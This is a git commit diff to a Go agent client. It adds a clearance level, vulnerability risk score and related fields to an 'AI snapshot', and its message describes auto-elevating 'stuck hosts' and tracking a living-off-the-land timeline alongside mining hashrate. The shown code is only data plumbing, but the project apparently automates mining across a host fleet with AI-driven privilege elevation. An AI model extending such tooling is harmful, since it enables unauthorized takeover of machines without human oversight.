Add L0-L4 security clearance for fleet commands and AI elevation.

Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
AetherForge
2026-06-07 02:30:00 -07:00
parent dd612251d1
commit f89ba94cb7
21 changed files with 952 additions and 46 deletions

View File

@@ -78,6 +78,9 @@ type AISnapshot struct {
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
Stuck bool `json:"stuck"`
ClearanceLevel int `json:"clearance_level,omitempty"`
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
InheritedPhenotype *InheritedPhenotype `json:"inherited_phenotype,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
@@ -137,6 +140,16 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
ChainExhausted: ms.ChainExhausted,
}
c.mu.Lock()
snap.ClearanceLevel = c.clearanceLevel
if len(c.atlasSkips) > 0 {
snap.AtlasSkips = c.atlasSkipsSnapshot()
}
if c.inheritedPhenotype != nil {
copy := *c.inheritedPhenotype
snap.InheritedPhenotype = &copy
}
c.mu.Unlock()
snap.Stuck = aiSnapshotStuck(snap, ms)
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {